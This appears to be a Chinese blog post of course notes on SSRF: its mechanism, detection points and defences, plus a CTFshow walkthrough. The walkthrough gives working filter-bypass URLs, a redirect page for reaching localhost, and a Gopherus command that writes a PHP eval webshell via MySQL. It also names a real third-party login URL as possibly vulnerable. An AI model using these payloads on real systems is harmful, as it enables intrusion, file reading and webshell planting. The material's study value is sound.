本文发布于520天前,本文最后更新于516 天前,其中的信息可能已经过时,如有错误请留言或评论。
知识点
- SSRF-原理-外部资源加载
- SSRF-利用-伪协议&无回显
- SSRF-挖掘-业务功能&URL参数
演示案例
➢SSRF-原理&利用&修复
漏洞原理
- SSRF(Server-Side Request Forgery:服务器端请求伪造)一种由攻击者构造形成由服务端发起请求的一个安全漏洞;一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
伪协议利用
- http:// Web常见访问,如http://127.0.0.1
- file:/// 从文件系统中获取文件内容,如,file:///etc/passwd,需要知道具体路径
- dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
- sftp:// SSH文件传输协议或安全文件传输协议 Linux中,Windows不存在
- ldap:// 轻量级目录访问协议
- tftp:// 简单文件传输协议
- gopher:// 分布式文档传递服务,可使用gopherus(工具)生成payload
由于有部分协议http这类不支持,可以gopher来进行通讯(mysql,redis等)
应用:漏洞利用 或 信息收集 通讯相关服务的时候 工具:Gopherus,文末有github下载链接
本地演示
源代码
过程
- 加载远程http图片可以加载,加载https的图片会报错
- 加载内网地址如http://127.0.0.1等,请求是服务器发出的,是服务器自己去请求内网机器。
- 可以进行内网扫描(三个段172,192,10),端口扫描,如请求http://127.0.0.1:3306返回如下:
5.7.26%-!w+1J�����u?Ke*P#eqmysql_native_password!��#08S01Got packets out of order
如访问http://127.0.0.1:3333,页面返回为空。
- 使用file协议读取文件,如加载file://D://1.txt,返回文件内容如下:
啊士大夫士大夫
漏洞防御
- 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。
- 统一错误信息,避免用户可以根据错误信息来判断远端服务器的端口状态。
- 限制请求的端口为http常用的端口,比如,80,443,8080,8090。
- 黑名单内网ip。避免应用被用来获取获取内网数据,攻击内网。
- 禁用不需要的协议。仅仅允许http和https请求。可以防止类似于file:///,gopher://,ftp:// 等引起的问题。
➢黑盒WEB-业务功能&URL关键字
漏洞挖掘
黑盒探针:找业务功能点
- 社交分享功能:获取超链接的标题等内容进行显示
- 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
- 在线翻译:给网址翻译对应网页的内容
- 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
- 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
- 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
- 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
- 数据库内置功能:数据库的比如mongodb的copyDatabase函数
- 邮件系统:比如接收邮件服务器地址
- 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
- 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞
URL关键字
share wap url link src source target u display sourceURl imageURL domain
➢白盒CTF-绕过&伪协议&审计点
漏洞挖掘
白盒分析:见代码审计(文件读取,加载,数据操作类的函数)
绕过方式
- 限制为http://www.xxx.com 域名
- 采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxyy.com
- 采用http基本身份认证的方式绕过,即@
- 限制请求IP不为内网地址
- 当不允许ip为内网地址时:
- 采取短网址绕过
- 采取域名解析
- 采取进制转换
- 采取3XX重定向
- 当不允许ip为内网地址时:
CTFSHOW SSRF 白盒 绕过
level 1
接收参数:
$url = $_POST['url']
考点:
- 无过滤直接获取
payload:
url=http://127.0.0.1/flag.php url=file://var/www/html/flag.php
level 2-3
接收参数:
$url = $_POST['url']
考点:
- IP地址进制绕过
- level 2 正则过滤规则 /localhost|127.0.0
- level 3 正则过滤规则 /localhost|127\.0\.|。/i
payload:
十六进制 url=http://0x7F.0.0.1/flag.php 八进制 url=http://0177.0.0.1/flag.php 10 进制整数格式 url=http://2130706433/flag.php 16 进制整数格式,还是上面那个网站转换记得前缀0x url=http://0x7F000001/flag.php 还有一种特殊的省略模式 127.0.0.1写成127.1 用CIDR绕过localhost url=http://127.127.127.127/flag.php 还有很多方式 url=http://0/flag.php url=http://0.0.0.0/flag.php
level 4
接收参数:
$url = $_POST['url']
考点:
- 域名解析IP绕过,短网址解析
- 正则过滤规则 /localhost|1|0|。/i
payload:
url=在线网址短链生成的链接 将自己拥有的域名添加一个记录解析为127.0.0.1 如:test.xiaodi8.com -> 127.0.0.1 url=http://test.xiaodi8.com/flag.php
level 5-6
接收参数:
$url = $_POST['url'] $x = parse_url($url) $host = $x['host']
考点:
- 长度限制IP绕过
- level 5 strlen($host)<=5
- level 5 strlen($host)<=3
payload:
url=http://0/flag.php url=http://0.1/flag.php url=http://127.1/flag.php url=http://[::]/flag.php # 这个小迪说了一下,但是没试
level 7
接收参数:
$_POST['url'] $x = parse_url($url) $ip = gethostbyname($x['host'])
考点:
- 利用重定向解析绕过
- 过滤了内网ip
payload:
在自己服务器上写一个跳转页面代码如下 <?php header("Location:http://127.0.0.1/flag.php"); payload: url=http://47.94.236.117/xx.php
level 8
接收参数:
$_POST['url'] $x = parse_url($url)
考点:
- 匹配且不影响写法解析
- 正则匹配规则(url中必须包含) /http:\/\/ctf..*show$/i
payload:
url=http://ctf.@127.0.0.1/flag.php?show url=http://ctf.@127.0.0.1/flag.php#show
level 9-10
接收参数:
$_POST['url']
考点:
利用gopher协议打印服务
payload:
Python2 gopherus.py --exploit mysql root select "<?php eval($_POST['x']);?>" into outfile "/var/www/html/x.php" u=root&returl=gopher://127.0.0.1:3306/_xxxxxxxxxx(上面工具生成的url,要进行一次url编码,因为服务器会自动解一次码) Python2 gopherus.py --exploit redis
总结
ssrf/RCE无回显怎么办?
- dnslog外带。
- RCE在网站目录下创建一个文件,去访问这个文件存不存在。
- 本机监听一个端口,让服务器去请求监听的这个端口,要是执行会有记录。
以前的案例
- 这个网站可能存在ssrf:https://passport.hualala.com/login?redirectURL=localhost
- 在线编辑pdf的网站也可能存在ssrf漏洞,因为它会对pdf内容进行解析
那么我们在pdf中写入代码访问dnslog,看看是否有dnslog记录从而判断是否可能有ssrf漏洞。
参考
学习内容均来自小迪安全系列课程:
Hackbar的github地址:https://github.com/Mr-xn/hackbar2.1.3
Gopherus的github地址:https://github.com/tarunkant/Gopherus